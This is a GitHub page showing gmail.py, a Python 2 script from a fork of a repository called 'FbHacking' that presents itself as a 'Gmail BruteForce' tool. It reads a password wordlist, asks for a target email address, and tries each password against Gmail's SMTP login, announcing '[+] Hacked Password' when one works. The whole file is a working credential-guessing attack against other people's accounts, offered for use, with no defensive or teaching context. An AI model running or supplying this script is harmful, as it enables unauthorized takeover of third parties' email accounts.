forked from BaSaiGrayHacker/FbHacking
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgmail.py
More file actions
55 lines (49 loc) · 1.36 KB
/
gmail.py
File metadata and controls
55 lines (49 loc) · 1.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/python
'''Gmail BruteForce'''
import smtplib
from os import system
def main():
print '''\033[1;32m
____ ____ _
| __ ) __ _ / ___| __ _(_)
| _ \ / _` | \___ \ / _` | |
| |_) | (_| | ___) | (_| | |
|____/ \__,_| |____/ \__,_|_|
~~~~https://www.facebook.com/ba.sai.LeeLeelrrlrr~~~~ '''
print '\033[1;32m Gmail Bruteforce \033[0;35m'
main()
print '[1] start the attack'
print '[2] exit'
option = input('\033[0;33mGray hacker/rootuser~/>')
if option == 1:
file_path = raw_input('path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] Hacked Password :' + password + ' ^_^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] Hacked Password :' + password + ' ^_^'
break
else:
print '[!] password not found => ' + password
login()